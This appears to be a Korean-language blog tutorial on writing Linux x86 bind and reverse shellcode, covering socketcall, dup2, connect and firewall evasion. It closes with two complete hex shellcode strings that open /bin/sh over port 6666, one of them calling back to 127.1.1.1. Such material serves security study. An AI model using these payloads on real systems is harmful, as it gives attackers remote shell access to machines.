[C language]
- 프로그램을 실행시키면 6666 port가 열려있는 것을 알 수 있다.
[C language]
int dup2 (int oldfd , int newfd );
- dup2 함수는 파일 디스크립터를 복제한다.
- 프로그램을 백그라운드로 실행 시키고, nc를 통해 6666 Port로 접속하게되면 /bin/sh이 실행됨을 알 수 있다.
Create Bind shellcode
- Assembly code를 작성하기 위해 Assembly code에서 네트워크 관련함수를 호출하는 방법을 알아야 한다.
네트워크 관련 함수를 호출하기 위해 "__NR_socketcall" System call을 사용한다.
1.1 Check system call number : socketcall
- socketcall 시스템 함수는 다음과 같은 형태를 가진다.
첫번째 인자에는 호출할 네트워크 함수의 콜 번호를 전달
두번째 인자에는 호출한 네크워크 함수의 인자 값들이 저장된 인자 배열의 주소 값을 전달
int socketcall(int call, unsigned long *args);
- socketcall 시스템 함수의 첫 번째 인자 값 (/usr/include/linux/net.h)
- Socket 상수들의 값 (/usr/include/linux/in.h , /usr/include/bits/socket_type.h , /usr/include/bits/socket.h)
Constants | Description | Value of constants |
PF_LOCAL, AF_UNIX | 같은 시스템 내에서 프로세스 끼리 통신 | 1 |
PF_INET, AF_INET | IPv4 인터넷 프로토콜 사용 | 2 |
PF_INET6 | IPv6 인터넷 프로토콜 사용 | 10 |
SOCK_STREAM | TCP/IP 프로토콜 사용 | 1 |
SOCK_DGRAM | UDP 프로토콜 사용 | 2 |
IPPROTO_IP | TCP용 더미 프로토콜 | 0 |
1.2 Check system call number : dup2
2. Assembly code
3. Build & Run
- Bind Shellcode는 공격 대상에 Server 형태로 Port를 오픈해 클라이언트가 접속하는 방식이다.
해당 방식은 방화벽이 적용된 시스템이 경우 쉽게 차단될 수 있다.
일반적으로 방화벽은 알려진 특정 포트를 제외하고는 들어오는 연결을 차단한다.
소프트웨어 방화벽을 이용해 간단히 설정 가능하다.
즉, Bind Shellcode는 방화벽에 의해 차단될 가능성이 크다.
- 하지만 방화벽은 외부로 나가는 통신에 대해서는 자유로운 편이다.
즉, 공격 대상이 나의 PC에 접속하도록 할 수 있다.
Reverse Shellcode는 Port를 열어서 연결을 기다리는 대신, 공격자가 지정한 IP,Port로 연결한다.
[C language]
int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);
- connect() 함수는 생성한 소켓을 통해 서버로 접속을 요청한다.
- 공격자(왼쪽)가 6666 port를 열고 타겟(오른쪽)이 Reverse Shell을 실행시키길 기다리고 있다.
- 타겟이 Reverse Shell을 실행시키자 공격자가 Shell을 얻었다.
Create Reverse shellcode
- 여기서 알아야 할 부분은 "server_addr.sin_addr.s_add"에 저장되는 값의 형태이다.
IP Address | 127.1.1.1 |
Hex | 7f.01.01.01 |
Little-endian format | 0x0101017f |
1. Check system call number : connect
2. Assembly code
3. Build & Run
Port : 6666, length : 92
\x6a\x66\x58\x99\x6a\x01\x5b\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80
\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x1a\x0a\x66\x53\x89\xe1\x6a
\x10\x51\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x43\x53\x56\x89\xe1
\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02
\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x6a\x0b\x58\x52\x68\x2f\x2f\x73
\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xcd\x80
IP : 127.1.1.1, Port : 6666, length : 75
\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92
\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x1a\x0a\x43\x66\x53\x89\xe1
\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x87\xd3\x6a\x02\x59\xb0\x3f
\xcd\x80\x49\x79\xf9\x6a\x0b\x58\x31\xd2\x52\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xcd\x80
REF: https://www.lazenca.net/display/TEC/03.Bind+Shellcode
03.Bind Shellcode - TechNote - Lazenca.0x0
Excuse the ads! We need some help to keep our site up. List Bind Shellcode C language 다음과 같이 C 코드를 사용해 Port bind 프로그램을 작성 할 수 있습니다.해당 프로그램을 이용해 지정된 Port를 사용 할 수 있습니�
www.lazenca.net
https://www.lazenca.net/display/TEC/04.Reverse+Shellcode
04.Reverse Shellcode - TechNote - Lazenca.0x0
Excuse the ads! We need some help to keep our site up. List Reverse Shellcode Bind Shellcode는 공격 대상에 Server 형태로 Port를 오픈해 클라이언트가 접속하는 방식입니다.해당 방식은 방화벽이 적용된 시스템이 경우
www.lazenca.net
04.Pwntools Shellcode(Shellcraft) (0) | 2020.05.04 |
---|---|
02.Basic & Change permissions Shellcode (0) | 2020.05.04 |
01.The basics technique of Shellcode (0) | 2020.05.04 |
댓글 영역